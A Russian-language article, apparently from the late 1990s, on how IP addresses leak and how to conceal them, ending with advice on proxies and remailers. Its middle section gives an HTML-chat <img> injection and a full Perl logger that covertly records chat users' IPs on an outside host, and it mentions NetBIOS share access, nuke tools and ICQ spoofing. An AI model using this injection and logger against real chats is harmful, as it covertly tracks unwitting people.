div.main {margin-left: 20pt; margin-right: 20pt}IP адрес, его определение и скрытие.
Как известно, Internet основана на семействе протоколов tcp/ip,
определяющих, каким образом осуществляется взаимодействие между
подключенными к сети компьютерами. Идентификация этих компьютеров
осуществляется с помощью так называемых IP-адресов, каждый из
которых представляет собой уникальный 32-битный идентификатор,
обычно записываемый в виде четырех десятичных чисел, напрмер,
192.168.0.1. И с точки зрения адресации сервер, обрабатывающий
ежесекундно тысячи запросов практически ничем не отличается от
вашего компьютера, подключаемого к сети по dial-up. Единственная
разница - домашний пользователь, как правило, получает так
называемый динамический ip-адрес, меняющийся от подключения к
подключению.
В то время как адрес сервера должен быть доступен всем
клиентам, желающим воспользоваться его услугами, клиент вовсе не
обязан афишировать свой адрес на каждом углу. Более того,
обнародование ip-адреса может привести к весьма серьезным
последствиям.
Что можно сделать с человеком, зная его ip-адрес ? Ну,
например, если на его машине с Windows'95 живет NetBIOS over IP, и
разделены для доступа по сети, да еще и без паролей, некоторые
диски, то довольно много :) (для заинтересовавшихся - помочь здесь
могут nbtstat, lmhosts и net use). Правда это не слишком часто
встречается у dial-up пользователей. Другой пример - в прошлом году
были найдены дыры в IE и NN, позволяющие получить доступ к файлам
клиента. Дырки те, правда, уже прикрыли, но кто знает, сколько их
еще осталось.
До сих пор пользуются популярностью в определенных
кругах программы, объединяемые общим названием (восходящего к
первой программе этого класса - Winnuke), которые осуществляют атаки
типа Denial of Service, приводящие к зависанию или отключению от
сети атакуемого компьютера.
Нежно любимая миллионами пользователей ICQ
(http://www.icq.com) тоже оказалась не без греха. На странице
Fyodor's Exploit world (http://www.dhp.com/~fyodor/sploits.html)
помимо прочего приведена информация о слабостях ICQ-шного протокола
(http://www.dhp.com/~fyodor/sploits/icq.spoof.overflow.seq.html),
которые уже позволили создать многочисленные программы, делающие
жизнь пользователя ICQ не слишком пресной. Так, например, на
странице ICQ Snoofer Team (http://const.ricor.ru/~icq/)
предлагается опробовать программу, позволяющую слать сообщения по
ICQ с чужого UIN. Snoofer существует в двух вариантах - в виде
скрипта, доступного со страницы, и в виде программы, которую обещают
рассылать по почте. Для его использования достаточно знать ip-адрес
адресата, номер порта, на котором висит ICQ, и UIN отправителя.
Инструкция прилагается.
Впрочем, все эти веселые программы пригодны в основном
для деструктивной деятельности, особого смысла в которой я не вижу
(кстати, запущенное на нашем сервере голосование по поводу "нюков"
показало, что большинство посетителей со мной солидарно).
Посмотрим, какие действия можно предпринять для
определения и скрытия ip-адреса.
Абсолютных рецептов конечно не существует, можно
говорить лишь о наиболее распространенных случаях. Вообще говоря,
ваш IP-адрес может засветиться в огромном количестве мест. Другое
дело - как его потом оттуда вытащить. Скажем, ваш любимый броузер
при заходе на любую страницу сообщает о себе достоточно много
информации.
В качестве простой демонстрации приведу скрипт на
Perl'е, выводящий основную информацию о посетителе страницы:
Листинг 1. showuser.pl
#!/usr/bin/perl print ("Content-type:
text/htmlnn"); @ee=( "CHARSET",
"HTTP_USER_AGENT", "HTTP_REFERER",
"REMOTE_ADDR", "REMOTE_HOST" ); foreach
$e(@ee) { print "<b>$e</b>:
$ENV{$e}<br>n"; }
Вообще-то это самый безобидный случай обнародования
ip-адреса (разве что если допустить злой умысел веб-мастера,
установившего скрипт, атакующий посетителя, но вероятность
целенаправленной атаки ничтожно мала).
IP-адрес отправителя можно вытащить из заголовка
полученной электронной почты (Скорее всего, он будет лежать в
последнем поле Received:, в отличие от поля From: его подделать чуть
сложнее). Если у вас динамически выделяемый адрес, то подобная
ситуация не слишком опасна. Хуже, если адрес постоянный, что,
правда, встречается пореже.
Самыми опасными с точки зрения обнародования ip-адреса
оказываются всевозможные системы для интерактивного общения - IRC
(командой /whois), InternetPhone, ICQ и т.д. Справедливости ради
надо заметить, что некоторые из них пытаются прикрыть адрес
пользователя (скажем, в MS Comic Chat показывается только часть
адреса, в ICQ'98 появилась возможность скрытия своего адреса, не
слишком правда хорошо работающая при общении со старыми версиями),
но в большинстве систем адрес лежит совершенно открыто. Что же
касается html-чатов, здесь все зависит от желания разработчика,
принципиальная возможность показа ip-адреса существует, как это было
продемонстрировано чуть выше.
Идея следующая: если в чате разрешен ввод тегов html,
никто не помешает вставить в свое сообщение что-то типа <img
src="http://www.mysite.com/cgi-bin/sniffer.cgi"> В итоге все
присутствующие в чате (даже не зарегистрировавшиеся) будут, сами
того не ведая, вызывать скрипт sniffer.cgi. Ну а остальное уже дело
техники, реализация подобного скрипта на Perl'е, ведущего лог всех
обращений, займет несколько строчек. Демонстрационный вариант этого
скрипта доступен на http://www.hackzone.ru/cgi-bin/sniffer.cgi.
Способ применения очень прост - вы вставляете в свое
сообщение текст наподобие следующего:
<img
src=http://www.hackzone.ru/cgi-bin/sniff.cgi?id>, где id -
идентификатор канала (помогает не запутаться при использовании
скрипта на разных чатах разными людьми).
Если этот чат поддерживает вставку html-тегов, то
скорее всего вы увидите анимированный логотип HackZone. Все, что
теперь осталось - просмотреть лог (http://www.hackzone.ru/files/snifflog.txt), в
который пишется дата обращения к скрипту, ip-адрес и идентификатор
id.
Речь идет о демонстрации, в логе хранятся только 30
последних записей.
#!/usr/bin/perl
$log = "/local/path/on/your/server/snifflog.txt";
$now_string = localtime;
@thetime = split(/ +/,$now_string);
@theclock = split(/:/,$thetime[3]);
$ampm = 'am';
if ($theclock[0] > 11)
{ $ampm = 'pm'; }
if ($theclock[0] == 0)
{ $theclock[0] = 12; }
if ($theclock[0] > 12)
{ $theclock[0] -= 12; }
else
{ $theclock[0] += 0; }
$lnum=$ENV{'QUERY_STRING'};
open (DB, "$log") || die "Can't Open $log: $!n";
flock(DB, 2);
@line=<DB>;
flock(DB, 8);
close(DB);
$line0="[$thetime[0] $theclock[0]:$theclock[1]$ampm]
(".$lnum.") ". $ENV{REMOTE_ADDR}." ".$ENV{REMOTE_HOST};
$maxline=@line;
$maxline=30 if ($maxline>30);
open (DB, ">$log") || die "Can't Open $log:
$!n";
flock(DB, 2);
print DB ("$line0n");
for ($i=0; $i<$maxline; $i++)
{ print DB ("$line[$i]");
}
flock(DB, 8);
close(DB);
print "Location:
http://www.hackzone.ru/images/hz_animated.gifnn";
Теперь немного о том, как же защититься от всего этого
безобразия. Самый простой способ прикрыться при прогулках по Web -
воспользоваться proxy либо службой наподобие Anonymizer, Inc. (http://sol.infonex.com/). Принцип их работы
аналогичен - вы напрямую общаетесь только с proxy-сервером, а черную
работу по заходу на сайты он делает за вас.
Если вас все-таки волнует проблема с обнаружением
своего ip-адреса при использовании e-mail, вы можете воспользоваться
службой того же Anonymizer'а для отправления писем через web (https://www.anonymizer.com/), либо каким-нибудь
анонимным ремэйлером (http://www.replay.com/remailer/).
Хуже всего дело обстоит с чатами. Проблема в том, что
если найти какой-нибудь левый прокси для www достаточно легко,
подобный сервис для irc, icq и иже с ними встречается, мягко говоря,
очень редко и для простого dialup-пользователя практически
недоступен. Именно поэтому большая часть средств для атаки по ip
заточена под всевозможные irc-клиенты. Так что бороться тут можно
лишь двумя способами. Самый надежный - не использовать их вообще :)
Более реалистичный - бороться не с причиной, а со следствиями -
разыскать свежайшие заплаты и надеяться, что против вашей брони еще
не изобрели подходящей пушки.
|